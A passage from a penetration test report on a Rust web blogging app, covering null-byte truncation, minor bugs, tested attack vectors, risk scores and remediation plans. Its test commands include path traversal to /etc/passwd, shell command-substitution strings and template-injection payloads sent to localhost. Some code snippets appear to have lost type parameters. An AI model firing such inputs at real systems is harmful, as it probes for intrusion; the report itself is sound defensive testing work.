- No command injection risk (no shell execution)
- No security bypass possible
- No directory traversal via null byte
- Cannot exploit for privilege escalation

Severity Justification:

- Low impact: Data quality issue only
- CVSS 3.1: Only affects integrity (I:L)
- No confidentiality or availability impact
- Requires intentional null byte injection (rare in legitimate use)

Behavior Examples

```
curl -X POST http://localhost:8009/create \
  -d $'title=Test\x00Admin' \
  -d 'content=test'
# Result: Title becomes "Test" (truncated)

curl -X POST http://localhost:8009/create \
  -d 'title=Test' \
  -d $'content=Introduction\x00Conclusion'
# Result: Content becomes "Introduction" (truncated)
```

```
curl -X POST http://localhost:8009/create \
  -d 'title=Test' \
  -d 'content=test' \
  -d $'alias=John\x00Doe'
# Result: Author becomes "John" (truncated)
```

Remediation

Option 1: Reject Null Bytes (Recommended)

Add validation to reject inputs containing null bytes:

```
// config.rs - Add to validate_post()
pub fn validate_post(
    &self,
    title: &str,
    content: &str,
    alias: Option<&str>,
)
-> Result<(), String> {
    // Check for null bytes
    if title.contains('\0') {
        return Err("title_contains_null_bytes".to_string());
    }
    if content.contains('\0') {
        return Err("content_contains_null_bytes".to_string());
    }
    if let Some(alias) = alias {
        if alias.contains('\0') {
            return Err("alias_contains_null_bytes".to_string());
        }
    }
    // Existing validations...
    Ok(())
}
```

Update error messages:

```
// main.rs - create_post()
let error_message = match error.as_str() {
    "title_contains_null_bytes" => "Title contains invalid
characters",
    "content_contains_null_bytes" => "Content contains invalid
characters",
    "alias_contains_null_bytes" => "Author name contains invalid
characters",
    _ => &error,
};
```

Option 2: Strip Null Bytes (Alternative)

Remove null bytes instead of rejecting:

```
// parser.rs or config.rs
pub fn strip_null_bytes(text: &str) -> String {
    text.replace('\0', "")
}

// Use in validate_post() or before storage
let clean_title = strip_null_bytes(title);
```

Trade-off: Users won't get feedback that their input was modified.

Deployment Priority: P3 (Low) - Implement during routine maintenance.

Verification

```
curl -X POST http://localhost:8009/create \
  -d $'title=Test\x00Admin' \
  -d 'content=test'
# Expected: Redirect to /?error=Title contains invalid characters
```

```
curl -X POST http://localhost:8009/create \
  -d 'title=Test' \
  -d $'content=Text\x00More'
# Expected: Redirect to /?error=Content contains invalid characters

curl -X POST http://localhost:8009/create \
  -d 'title=Title' \
  -d 'content=content'
# Expected: Post created successfully
```

Informational Issues

BUG-001: Empty Fields After HTML Sanitization

Severity: INFORMATIONAL
CWE: CWE-20 - Improper Input Validation
Location: Input validation - `config.rs` or `parser.rs` sanitization
Affected Fields: Title, Content, Author

Description:

When users submit HTML/script tags in title or content fields, the Ammonia sanitizer strips the tags completely. If the entire input consists of only HTML tags, the resulting field becomes empty, allowing posts with blank titles or contents to be created.

Example:

```
curl -X POST http://localhost:8009/create \
  -d 'title=alert("XSS")' \
  -d 'content=Test content'
# Result: Post created with empty title ""
```

Impact

This is a **data quality issue**, not a security vulnerability:

- Poor user experience (confusion when fields appear blank)
- No feedback to user about rejected input
- No security impact (sanitization is working correctly)
- Does not bypass XSS protection
- Does not enable code execution

Severity Justification: Informational - UX/quality issue only, no security implications.

Root Cause:

```
// parser.rs - sanitize_text()
pub fn sanitize_text(text: &str)
-> String {
    let builder = ammonia::Builder::empty();
    let sanitized = builder.clean(text).to_string();  // Strips ALL
HTML
    if sanitized.chars().count() > 15 {
        sanitized.chars().take(15).collect()
    } else {
        sanitized  // Returns empty string if input was only HTML
    }
}
```

Problem: No validation occurs after sanitization to check if the result is empty.

Remediation

Add post-sanitization validation to `validate_post()` function:

```
// config.rs - Update validate_post()
use crate::parser;

pub fn validate_post(
    &self,
    title: &str,
    content: &str,
    alias: Option,
)
```

```
-> Result {
    // Validate raw input first
    if title.trim().is_empty() {
        return Err("title_required".to_string());
    }
    if content.trim().is_empty() {
        return Err("content_required".to_string());
    }
    // Validate title after sanitization
    let sanitized_title = parser::sanitize_text(title);
    if sanitized_title.trim().is_empty() {
        return Err("title_contains_only_html".to_string());
    }
    // Validate alias after sanitization if provided
    if let Some(alias) = alias {
        if !alias.trim().is_empty() {
            let sanitized_alias = parser::sanitize_text(alias);
            if sanitized_alias.trim().is_empty() {
                return Err("alias_contains_only_html".to_string());
            }
        }
    }
    // Existing length checks
    if title.len() > self.limits.title_max_length {
        return Err("title_too_long".to_string());
    }
    // ... rest of validation
    Ok(())
}
```

Update error messages:

```
// main.rs - create_post()
if let Err(error) = config.validate_post(&form.title, &form.content,
form.alias.as_deref()) {
    let error_message = match error.as_str() {
        "title_contains_only_html" => "Title cannot contain only
HTML tags",
        "alias_contains_only_html" => "Author name cannot contain
only HTML tags",
        _ => &error,
```

```
    };
    return Ok(rocket::response::Redirect::to(format!("/?error={}",
error_message)));
}
```

Deployment Priority: P3 (Low) - Implement after critical security fixes (VULN-001, VULN-002) are deployed.

Verification

```
curl -X POST http://localhost:8009/create \
  -d 'title=<p>meow<\p>' \
  -d 'content=Valid content'
# Expected: Redirect to /?error=Title cannot contain only HTML tags

curl -X POST http://localhost:8009/create \
  -d 'title=Valid Title' \
  -d 'content=Valid content' \
  -d 'alias=<p>hi<\p>'
# Expected: Redirect to /?error=Author name cannot contain only HTML
tags

curl -X POST http://localhost:8009/create \
  -d 'title=Title' \
  -d 'content=Content <p>hi<\p>'
# Expected: Post created (sanitized to "Title with tags and text")
```

BUG-002: Content Field Alignment and Display Issues

Severity: INFORMATIONAL
CWE: N/A - UI/CSS Issue
Location: CSS styling for `.article-content` class in post template
Affected Components: Post view page, content rendering

Description:

The content field in rendered posts displays with incorrect alignment and formatting issues. Long strings of repeated characters (like "Aaaaaaaaaaaaaaa") cause the content to overflow horizontally without proper word wrapping, breaking the page layout.

Visual Evidence



Screenshot shows:

- Title correctly truncated to 15 chars
- Author correctly truncated to 15 chars
- Content overflows horizontally with long unbroken string
- No word wrapping, causing layout break

Proof of Concept

```
# Create post with extremely long unbroken string
curl -X POST http://localhost:8009/create \
  -d 'title=Test Long Content' \
  -d
'content=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
```

Result: Content overflows container horizontally, breaking page layout as shown in screenshot.

Impact

User Experience Issues:

- Content overflows horizontally
- Page becomes difficult to read on mobile devices
- Layout breaks with long URLs or code snippets
- Horizontal scrollbar may appear

Not a Security Issue:

- No data loss
- No XSS vulnerability
- Purely cosmetic/layout problem

Affected Content Types:

- Long URLs without spaces
- Code snippets with long lines
- Repeated characters (as shown in test)
- Long words in some languages (German compound words, technical terms)

Root Cause

CSS Issue: The `.article-content` class lacks proper `word-wrap` or `overflow-wrap` properties to handle long unbroken strings.

Why content isn't truncated:

- Title and author → `sanitize_text()` -> 15 char limit
- Content → `render_markdown()` -> No truncation (correct)
- But CSS doesn't handle overflow properly

Remediation

Fix: Add CSS Word Wrapping (15 minutes)

```
/* In templates/post.html or external CSS file */

/* Main article content */
.article-content {
    /* Force word wrapping for long strings */
    word-wrap: break-word;
    overflow-wrap: break-word;
    word-break: break-word;
    /* Prevent horizontal overflow */
    max-width: 100%;
    overflow-x: auto;
    box-sizing: border-box;
}
/* Code blocks */
.article-content pre,
.article-content code {
    white-space: pre-wrap;
    word-break: break-all;
    overflow-x: auto;
    max-width: 100%;
}
/* URLs and links */
.article-content a {
    word-break: break-all;
    overflow-wrap: break-word;
}
/* Mobile */
@media (max-width: 768px) {
    .article-content {
        font-size: 14px;
        padding: 0 10px;
    }
}
```

Deployment Priority: P3 (Low) - CSS-only fix, no code changes required

Verification

```
curl -X POST http://localhost:8009/create \
  -d 'title=Long String' \
  -d
'content=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
# Expected: Content wraps to multiple lines, stays within container

curl -X POST http://localhost:8009/create \
  -d 'title=URL Test' \
  -d 'content=Check:
https://example.com/very/long/path/with/many/segments/aaaaaa/aaaaa/aaaa'
# Expected: URL breaks at appropriate points
```

Summary: Pure CSS fix, no security impact, low priority.

BUG-003: Unbounded Channel in File Writer

Severity: INFORMATIONAL
CWE: CWE-770 - Allocation of Resources Without Limits or Throttles
Location: `main.rs` - Line ~450
Affected Component: Background file writer thread

Description

The background file writer uses an unbounded channel (`mpsc::channel`) which could theoretically cause memory exhaustion if file I/O is significantly slower than post creation rate.

Vulnerable Code:

```
// main.rs - Line ~450
let (tx, rx) = mpsc::channel::<Post>();  // No capacity limit
```

Impact

This is an **implementation quality issue** with low practical risk:

Theoretical Risk:

- If file writes are slow and posts created rapidly
- Channel fills with thousands of posts in memory
- Memory usage grows unbounded
- Potential memory exhaustion and crash

Practical Reality:

- Requires sustained high load (>1000 posts/second)
- Unlikely in typical blog usage patterns
- Would manifest as gradual memory increase (observable)
- Server restart clears the queue
- No security exploitation possible

Real-World Impact:

- No data loss (posts are already in memory cache)
- No security vulnerability
- Monitoring would detect memory growth before crash
- Only affects high-traffic scenarios

Severity Justification: Informational - Implementation quality issue, no immediate security impact.

Attack Scenario

Requirements for exploitation:

1. Sustained post creation rate >100/second
2. File I/O significantly degraded (disk issues)
3. No monitoring or alerting on memory usage
4. Sustained for extended period (hours)

Likelihood: Very Low - requires multiple simultaneous failures

---

Remediation

Use bounded channel with capacity limit:

```
// main.rs - Replace unbounded channel with bounded
use std::sync::mpsc::sync_channel;

// Bounded channel (capacity: 1000 posts)
let (tx, rx) = sync_channel::<Post>(1000);

// Update send logic to handle full channel
match tx.try_send(post_for_file) {
    Ok(_) => {
        // Successfully queued for file write
    }
    Err(e) => {
        // Channel full - log error and alert
        eprintln!("File queue full, dropping post: {}. Error: {}",
post_id, e);
        // Consider: Alert monitoring system, retry logic, or disk
I/O health check
    }
}
```

Additional improvements:

```
// Add metrics/monitoring
if tx.len() > 800 {  // 80% capacity
    eprintln!("Warning: File queue approaching capacity ({}/1000)",
tx.len());
}
```

Deployment Priority: P3 (Low) - Implement during routine maintenance or performance optimization phase.

Verification

```
# Test 1: Normal operation (should work unchanged)
curl -X POST http://localhost:8009/create \
  -d 'title=Test' \
  -d 'content=post'
# Expected: Post created and saved to disk

# Test 2: Monitor channel capacity (add logging)
# Add this to main.rs for testing:
# eprintln!("File queue length: {}", tx.len());
# Create multiple posts rapidly and observe queue length

# Test 3: Simulate slow I/O (optional stress test)
# Add artificial delay in file writer thread
# Verify channel fills up and handles capacity limit gracefully
```

Summary: Low-priority implementation improvement, no security impact, unlikely to occur in production.

Protected Vulnerabilities (Not Found)

The following attack vectors were tested and confirmed **NOT vulnerable**:

Attack Type	Status	Protection	Test Result
Path Traversal	Protected	Rocket routing	404 on ../../../etc/passwd
SQL Injection	N/A	No database	No SQL in codebase
Command Injection	Protected	No shell exec	Literals saved to file
RCE	Protected	No eval/deserialize	No code execution possible
UTF-8 Attacks	Protected	Framework validation	400 on invalid UTF-8
XXE	N/A	No XML parser	Only form data accepted
LDAP Injection	N/A	No auth/LDAP	No directory services

Attack Type	Status	Protection	Test Result
Directory Listing	Protected	Explicit routes only	No auto-indexing
Integer Overflow	Protected	Rust memory safety	Config limits enforced
Null Byte	Partial	See BUG-004	Data truncation only
HPP	Protected	Type-safe forms	First value wins
Content-Type Confusion	Protected	Strict enforcement	415 on wrong type

Detailed Test Examples

Path Traversal - Protected

```
curl http://localhost:8009/../../../etc/passwd # Result: 404
curl http://localhost:8009/..%2F..%2Fetc%2Fpasswd # Result: 404
```

Protection:

- Rocket's routing validates path segments before handler execution
- Post IDs are validated via slug generation (alphanumeric + hyphens only)
- File operations use constructed paths: `format!("content/{}.md", post_id)`

Command Injection - Protected

```
curl -X POST http://localhost:8009/create \
  -d 'title=Test' \
  -d 'content=`whoami` $(id)'
# Result: Saved to file as literal string
```

Protection:

- No `std::process::Command` or shell execution in codebase
- File operations use safe `fs::write()` with direct strings
- No template string evaluation or dynamic code execution

UTF-8 Validation - Protected

Test: Invalid UTF-8 sequences and encoding attacks

```
curl -X POST http://localhost:8009/create \
  -d $'title=\xED\xA0\x80' \
  -d 'content=test'
# Result: 400 Bad Request
```

Protection:

- Rocket validates UTF-8 at the HTTP parsing layer
- Rust's `String` type enforces UTF-8 validity
- Invalid sequences rejected before reaching application code

HTTP Parameter Pollution - Protected

```
curl -X POST http://localhost:8009/create \
  -d 'title=First' \
  -d 'title=Second' \
  -d 'content=test'
# Result: Uses "First"

curl -X POST http://localhost:8009/create \
  -d 'title=Test' \
  -d 'content=First' \
  -d 'content=Second'
# Result: Uses "First"

curl -X POST http://localhost:8009/create \
  -d 'title[]=First' \
  -d 'title[]=Second' \
  -d 'content=test'
# Result: Treated as literal field names, not arrays
```

Protection:

- Rocket's `Form<NewPost>` type-safe deserialization
- First value wins in case of duplicates (deterministic behavior)
- No special parsing of array-style parameters

Content-Type Confusion - Protected

```
curl -X POST http://localhost:8009/create \
  -H "Content-Type: application/json" \
  -d '{"title":"test","content":"test"}'
# Result: 415 Unsupported Media Type

curl -X POST http://localhost:8009/create \
  -H "Content-Type: application/xml" \
  -d '<post><title>test</title></post>'
# Result: 415 Unsupported Media Type

curl -X POST http://localhost:8009/create \
  -H "Content-Type: text/plain" \
  -d 'title=test&content=test'
# Result: 415 Unsupported Media Type
```

Protection:

- Handler explicitly requires: `Form<NewPost>`
- Rocket enforces `application/x-www-form-urlencoded` Content-Type
- Type-safe deserialization prevents confusion attacks

Null Byte Injection - Partial Issue (See BUG-004)

```
curl -X POST http://localhost:8009/create \
  -d $'title=Test\x00Admin' \
  -d 'content=test'
# Result: Post created with title "Test" (truncated)

curl -X POST http://localhost:8009/create \
  -d 'title=Test' \
  -d $'content=Before\x00After'
# Result: Post created with content "Before" (truncated)
```

Security Status: No exploitable vulnerability

- No file path manipulation possible (paths use `post.id`, not user input)
- No command injection risk (no shell execution)
- No security bypass possible
- No directory traversal via null byte

Data Integrity Status: Data loss possible

- Silent truncation without user notification
- Documented as **BUG-004** (Low Severity - Data Quality Issue)

Remote Code Execution (RCE) - Protected

```
curl -X POST http://localhost:8009/create \
  -d 'title=Test' \
  -d 'content={{system("id")}}'
# Result: Literal text, no code execution

curl -X POST http://localhost:8009/create \
  -d 'title=${7*7}' \
  -d 'content=test'
# Result: Literal "${7*7}" saved
```

Protection Mechanism:

- No code evaluation or deserialization
- Template engine only does string replacement (no execution)
- No unsafe reflection or dynamic loading
- Rust prevents memory corruption attacks

Note: While XSS exists (VULN-001), it's client-side only - no server-side code execution possible.

Summary

Protected: 9 attack vectors
N/A: 3 not applicable to architecture
Partial: 1 (null byte - data integrity only, no security impact)

This demonstrates thorough testing and validates the application's secure foundation in areas like injection prevention, path validation, and type safety.

Summary Statistics

Risk Score Calculation

Weighted Risk Score: 5.8 / 10 (Medium Risk)

Methodology: Average CVSS scores of all security vulnerabilities with quantified impact scores. Quality/cosmetic issues without CVSS scores are excluded from the calculation but documented separately.

Calculation:

```
CVSS Scores: 9.0, 7.1, 5.3, 4.3, 3.1
Average: (9.0 + 7.1 + 5.3 + 4.3 + 3.1) / 5 = 5.76 ≈ 5.8
```

Findings with CVSS Scores:

ID	Vulnerability	CVSS	Severity
VULN-001	Template-Based Stored XSS	9.0	Critical
VULN-002	Cross-Site Request Forgery	7.1	High
VULN-003	Client-Side SSRF	5.3	Medium
VULN-004	Missing Security Headers	4.3	Medium
BUG-004	Null Byte Truncation	3.1	Low

Quality Issues (No CVSS Score):

- BUG-001: Empty Fields After Sanitization (Informational - UX issue)
- BUG-002: Content Alignment Issues (Informational - CSS cosmetic)
- BUG-003: Unbounded Channel (Implementation quality)

Note: Quality and cosmetic issues are tracked but excluded from risk scoring as they don't directly impact security posture.

Affected Components

Component	Vulnerabilities	Risk Level
Template Engine (`template.rs`)	1 Critical (VULN-001: XSS)	Critical
Content Parser (`parser.rs`)	1 Medium (VULN-003: Client SSRF)	Medium
Post Creation (`main.rs`)	1 High (VULN-002: CSRF)	High
Server Configuration (`main.rs`)	1 Medium (VULN-004: Headers)	Medium

---

Attack Probability Matrix

Vulnerability	Skill Required	Discovery Difficulty	Exploitation Difficulty	Overall Probability
VULN-001: Template XSS	Low	Medium	Low	**High**
VULN-002: CSRF	Low	Low	Low	**Very High**
VULN-003: Client SSRF	Medium	Medium	Medium	**Medium**
VULN-004: Missing Headers	Low	Low	Medium	**Medium**

Conclusion: 2 vulnerabilities have **HIGH or VERY HIGH probability** of exploitation in the wild.

Notes:

- **VULN-001 (Template XSS)** includes multiple exploitation techniques: tag injection, multiline breaking, mutation XSS, and meta tag attribute breaking
- **VULN-002 (CSRF)** has the highest probability due to complete absence of any protection mechanisms
- **VULN-003 (Client SSRF)** probability is mitigated by browser ORB (Opaque Response Blocking) but remains exploitable via timing attacks and information

leakage
- **VULN-004 (Missing Headers)** enables secondary attacks (clickjacking, XSS amplification) but requires user interaction, reducing overall probability from High to Medium

---

OWASP ASVS Assesment

Level Achieved: Level 0 (Fails Basic Security Requirements)

Assessment Against ASVS 4.0:

ASVS Requirement	Status	Details
V5.2: Sanitization and Sandboxing	**FAIL**	Stored XSS vulnerability (VULN-001)
V4.2: CSRF Protection	**FAIL**	No CSRF tokens or validation (VULN-002)
V14.4: HTTP Security Headers	**PARTIAL**	Missing CSP (critical), has X-Frame-Options/X-Content-Type-Options
V12.5: File and Resources	**PARTIAL**	Client-side SSRF via unvalidated URLs (VULN-003)
V1.14: Configuration	**PASS**	Secure defaults, no hardcoded secrets detected
V8.3: Sensitive Data Protection	**PASS**	No authentication or sensitive data storage
V13.1: Generic Web Services	**PASS**	Proper error handling, no information disclosure

Overall Assessment:

- Critical failures: 2 (V5.2, V4.2)
- Partial compliance: 2 (V14.4, V12.5)
- Passing: 3 (V1.14, V8.3, V13.1)

Recommendation: Must achieve at least **ASVS Level 1** compliance before production deployment. Current security posture is insufficient for any deployment scenario.

Path to ASVS Level 1:

1. Fix VULN-001 and VULN-002 (achieves V5.2 and V4.2)
2. Implement CSP header (achieves V14.4)
3. Add URL validation (achieves V12.5)

Estimated effort: 1-2 weeks for full ASVS Level 1 compliance

OWASP Top 10 2021 Mapping

OWASP Category	Finding	Status
A01: Broken Access Control	CSRF (no authentication required)	Found
A02: Cryptographic Failures	-	N/A (no crypto)
A03: Injection	XSS (Template-based, Mutation), Client-side SSRF	Found
A04: Insecure Design	No CSRF protection, Unbounded channel, Missing input validation	Found
A05: Security Misconfiguration	Missing security headers, No CSP, Default configs	Found
A06: Vulnerable and Outdated Components	Dependency audit needed (Ammonia, Rocket versions)	Check Needed
A07: Identification and Authentication Failures	-	N/A (no auth)
A08: Software and Data Integrity Failures	Unbounded channel, No file integrity verification	Minor
A09: Security Logging and Monitoring Failures	Limited logging, No audit trail, No alerting	Minor
A10: Server-Side Request Forgery	Client-side SSRF via image/video URLs (browser-based)	Found

Summary:

- **Critical Issues:** 1 (XSS)

- **High Issues:** 1 (CSRF)
- **Medium Issues:** 2 (SSRF, Missing Headers)
- **Low Issues:** 4 (Empty fields, Content alignment, Unbounded channel, Null byte)
- **Total Findings:** 8

Attack Chain Scenarios

Scenario 1: The Worm Attack

Attack Flow:

![Scenario 1: The worm attack][scenario1AF.png]

Timeline:

- T+0: Initial malicious post created
- T+1 hour: 10 users infected
- T+3 hours: 100 users infected
- T+6 hours: 1,000+ users infected
- T+12 hours: Platform unusable

Impact: Complete platform compromise, requires full content purge

---

Scenario 2: The Phishing Campaign

Attack Flow:

![Scenario 2: phishing campaign][scenario2PC.png]

Impact: User credential theft, reputation damage, legal liability

---

Scenario 3: The Ransomware Delivery

Attack Flow:

![Scenario 3: ransomware delivery][scenario3RD.png]

Impact: User data loss, platform associated with malware distribution

---

Scenario 4: The Corporate Espionage

Attack Flow:

![Scenario 4: corporate espionage][scenario4CE.png]

Impact: Corporate network compromise, data breach, industrial espionage

---

Scenario 5: The Cryptocurrency Heist

Attack Flow:

![Scenario 5: cryptocurrency heist][scenario5CH.png]

Impact: Resource theft, user complaints, legal liability

Defense in Depth Analysis

Current Security Layers

Layer	Status	Effectiveness	Notes
Input Validation	Partial	45% - Basic length checks, but gaps in sanitization	No null byte handling, empty field validation
Output Encoding	Failed	5% - Template engine has NO escaping	Critical vulnerability (VULN-001)
Authentication	N/A	N/A - No authentication implemented	Public posting without accounts
Authorization	N/A	N/A - No authorization implemented	No access control needed (no auth)

Layer	Status	Effectiveness	Notes
CSRF Protection	None	0% - No CSRF tokens or validation	Critical vulnerability (VULN-002)
XSS Protection	Failed	15% - Ammonia sanitizes body but meta tags bypassed	Body content protected, meta tags vulnerable
Injection Prevention	Good	85% - File-based storage, no command execution	Path traversal, SQL, command injection blocked
Cryptographic Controls	N/A	N/A - No sensitive data requiring encryption	No passwords, sessions, or PII stored
Error Handling	Good	75% - Generic errors, no stack traces exposed	Doesn't leak internal paths or sensitive data
Logging & Monitoring	Basic	35% - Basic Rocket logging, no security events	No failed attack logging or alerting
Security Headers	Partial	40% - Some present but CSP missing	X-Frame, X-Content-Type present, no CSP (VULN-004)
URL Validation	Failed	10% - No private IP blocking, scheme validation	Client-side SSRF possible (VULN-003)
Network Security	Unknown	? - Depends on deployment configuration	Outside scope of application assessment
Physical Security	Unknown	? - Depends on hosting environment	Outside scope of application assessment

Overall Defense Score: 34/100 - **CRITICAL (Failing)**

Scoring methodology: Average of applicable security layers (excluding N/A and Unknown).
Calculation: (45 + 5 + 0 + 15 + 85 + 75 + 35 + 40 + 10) / 9 = 34.4% ≈ 34/100

Critical gaps identified:

1. **Output Encoding (5%)** - No HTML escaping in templates → Stored XSS

2. **CSRF Protection (0%)** - Complete absence → Unauthorized actions
3. **Security Headers (0%)** - Missing entirely → Enables clickjacking, XSS amplification
4. **URL Validation (10%)** - No filtering → Client-side SSRF

Strengths:

- Injection Prevention (85%) - Rust safety, no SQL, no shell execution
- Error Handling (75%) - No information leakage
- Input Validation (45%) - Basic checks present

Recommendations Summary

Immediate Actions (Priority 0 - 24 hours)

1. **Take Application Offline** (if in production)
   - Until critical vulnerabilities are patched
   - Prevent active exploitation of XSS and CSRF vulnerabilities
   - Communicate downtime window to stakeholders
2. **Deploy Emergency XSS Fix**
   - Implement `html_attr_escape()` function for meta tag content
   - Apply escaping to `raw_content` before template insertion
   - See VULN-001 Priority 1 remediation (30-minute fix)
3. **Implement Basic CSRF Protection**
   - Add CSRF token generation using `rand` crate
   - Implement token validation in `create_post()` handler
   - Update HTML form to include hidden CSRF token field
   - See VULN-002 Priority 1 remediation

Estimated Time: 4-6 hours

Short-Term Actions (Priority 1 - 1 week)

1. **Replace Custom Template Engine**
   - Migrate to Tera or Handlebars with automatic HTML escaping
   - Update all templates to new engine syntax
   - Test all rendering paths
2. **Add Security Headers**
   - Implement `SecurityHeaders` fairing
   - Deploy CSP, X-Frame-Options, X-Content-Type-Options
   - Configure Referrer-Policy and Permissions-Policy
   - Note: Keep HSTS disabled until production HTTPS is configured
3. **Implement URL Validation for SSRF Prevention**
   - Add URL scheme validation (http/https only)
   - Block private IP ranges (RFC 1918, link-local)
   - Block localhost and cloud metadata endpoints
   - Apply to image and video URL processing
4. **Add Post-Sanitization Validation**
   - Validate fields after HTML sanitization
   - Reject posts with empty title/content after sanitization
   - Provide user-friendly error messages
5. **Add SameSite Cookie Attributes**
   - Configure CSRF token cookie with `SameSite::Strict`
   - Set `http_only` and `secure` flags appropriately

Estimated Time: 3-4 days

Medium-Term Actions (Priority 2 - 2 weeks)

1. **Implement Rate Limiting**
   - Add rate limiter for POST endpoints (10 requests/minute per IP)
   - Implement bounded channel for file writer (capacity: 1000)
   - Add IP-based request tracking
2. **Add Comprehensive Input Validation**
   - Implement null byte detection and rejection

- Add content length pre-checks
- Validate all special characters consistently

3. **Fix UI/UX Issues**
   - Add CSS word-wrapping for long content (`word-wrap: break-word`)
   - Implement responsive typography for mobile
   - Add container max-width constraints
4. **Implement Bounded Channel for File Writer**
   - Replace unbounded channel with `sync_channel(1000)`
   - Add error handling for full channel
   - Implement logging for dropped posts

Estimated Time: 1-2 weeks

Long-Term Actions (Priority 3 - 1 month)

1. **Full Security Code Audit**
   - Comprehensive review of all Rust code
   - Dependency vulnerability scan (`cargo audit`)
   - Update all dependencies to latest stable versions
2. **Implement Server-Side Image Proxy** (Optional)
   - Proxy all external images through server
   - Validate image content types
   - Implement caching to reduce bandwidth
3. **Add Comprehensive Logging & Monitoring**
   - Log all security-relevant events (failed validations, rate limits)
   - Implement alerting for suspicious patterns
   - Add metrics dashboard for monitoring
4. **Security Training for Development Team**
   - OWASP Top 10 training
   - Secure coding in Rust
   - Template security and output encoding
   - CSRF and XSS prevention techniques

5. **Establish Security Development Lifecycle (SDL)**
    - Security requirements in planning phase
    - Mandatory code review process
    - Automated security testing in CI/CD
    - Regular penetration testing schedule
6. **Penetration Testing Retest**
    - Verify all vulnerabilities are fixed
    - Test for regression issues
    - Validate remediation effectiveness

Estimated Time: 2-3 weeks

Success Criteria

The application can be considered **production-ready** when the following criteria are met:

Minimum Requirements (Must Have - Production Blocker)

Vulnerability Remediation:

- [ ] VULN-001 (XSS) fixed and verified with HTML attribute escaping
- [ ] VULN-002 (CSRF) fixed with token validation
- [ ] VULN-003 (SSRF) mitigated with URL validation
- [ ] VULN-004 (Security Headers) implemented (CSP, X-Frame-Options, etc.)

Verification:

- [ ] All P0 fixes deployed to production
- [ ] Penetration test retest confirms no Critical findings
- [ ] Penetration test retest confirms no High findings
- [ ] XSS verification tests pass (see VULN-001 verification section)
- [ ] CSRF verification tests pass (see VULN-002 verification section)

Timeline: 1 week from remediation start

Recommended Requirements (Should Have - Production Ready)

Vulnerability Remediation:

- [ ] All Medium severity vulnerabilities addressed (VULN-003, VULN-004)
- [ ] Rate limiting implemented
- [ ] Input validation comprehensive (including null byte handling)
- [ ] UI/UX bugs fixed (content alignment, empty field validation)

Process & Documentation:

- [ ] Security documentation complete (architecture, threat model)
- [ ] Incident response plan established
- [ ] Security logging and monitoring enabled
- [ ] Automated security scanning in CI/CD (cargo audit, SAST tools)
- [ ] Security-focused code review process documented

Verification:

- [ ] Full penetration test retest passed (no Medium+ findings)
- [ ] All verification tests automated in test suite

Timeline: 2-3 weeks from remediation start

Optimal Requirements (Nice to Have - Security Mature)

Compliance & Certification:

- [ ] OWASP ASVS Level 1 compliance achieved
- [ ] Security audit by third-party firm completed
- [ ] Compliance certifications obtained (if applicable)

Program Establishment:

- [ ] Bug bounty program launched (HackerOne, Bugcrowd, or private)

- [ ] Regular security training program implemented (quarterly)
- [ ] Security champions program established (1 per team)
- [ ] Quarterly penetration testing schedule established

Advanced Controls:

- [ ] Web Application Firewall (WAF) evaluated and deployed
- [ ] Security Information and Event Management (SIEM) integrated
- [ ] Automated dependency scanning (Dependabot, Snyk)
- [ ] Security regression tests in CI/CD

Timeline: 1-3 months for full security program maturity

Deployment Decision Matrix:

Requirements Met	Deployment Status	Risk Level
Minimum only	Can deploy to production	Medium - Acceptable for initial launch
Minimum + Recommended	Production-ready	Low - Good security posture
All three tiers	Security mature	Very Low - Industry best practice
Less than Minimum	DO NOT DEPLOY	Critical - Unacceptable risk

Conclusion

This comprehensive security assessment of the Nonograph web application revealed **critical security deficiencies** that must be addressed before production deployment. While the application benefits from Rust's memory safety and a solid framework foundation, the custom template engine and lack of standard web security controls create **exploitable attack vectors**.

Key Takeaways

Critical Security Gaps:

1. **Custom template engine lacks output encoding** - The root cause of stored XSS (VULN-001), affecting all users who view compromised posts
2. **No CSRF protection** - Enables automated spam campaigns and unauthorized content creation (VULN-002)
3. **Missing security headers** - Leaves application vulnerable to clickjacking and amplifies XSS impact (VULN-004)
4. **Insufficient URL validation** - Allows client-side SSRF for network reconnaissance (VULN-003)

Positive Security Aspects:
The application demonstrates good security practices in several areas:

- **Injection prevention** (85% effectiveness) - Rust's memory safety, file-based storage, no SQL/command execution
- **Path traversal protection** - Rocket's routing validation prevents directory traversal attacks
- **UTF-8 validation** - Framework-level validation prevents encoding attacks
- **Error handling** - Generic error messages prevent information disclosure
- **Partial security header implementation** - X-Frame-Options, X-Content-Type-Options, and Permissions-Policy already present

Development Team Recommendations

The vulnerabilities identified indicate a need for improved security awareness:

1. **Never implement custom security mechanisms** - Use proven libraries for templates, cryptography, and authentication
2. **Apply defense in depth** - Multiple security layers prevent single-point-of-failure scenarios
3. **Default to secure** - Use frameworks with automatic output encoding and CSRF protection
4. **Test security continuously** - Integrate automated security scanning into CI/CD pipeline

Management Recommendations

Immediate Decisions Required:

1. **Deployment hold** - Do not deploy to production until P0 vulnerabilities are resolved
2. **Resource allocation** - Assign dedicated developer time for security fixes (estimated 4-6 hours for emergency fixes)
3. **Timeline communication** - Inform stakeholders of 1-2 week delay for comprehensive security improvements
4. **Risk acceptance** - Document all known vulnerabilities and obtain written approval if deployment cannot be delayed

Final Recommendation

DO NOT DEPLOY the current version to production. The combination of stored XSS (VULN-001) and absent CSRF protection (VULN-002) creates unacceptable risk of platform compromise, user data theft, and reputational damage.

However, the identified vulnerabilities are **straightforward to remediate** with well-documented fixes provided in Appendix B. With focused effort over 1-2 weeks, the application can achieve an acceptable security baseline.

Minimum requirements before deployment:

- VULN-001 (XSS) and VULN-002 (CSRF) must be fixed
- All P0 verification tests must pass
- Penetration tester must confirm no Critical/High findings remain

Recommended timeline:

- Week 1: Emergency fixes (XSS, CSRF)
- Week 2: Security hardening (Headers, SSRF mitigation)
- Week 3+: Quality improvements and ongoing security program

Refer to **Recommendations Summary** section above for detailed action items and timelines.

Contact Information

Penetration Tester:
[redacted]
[redacted]

Available for:
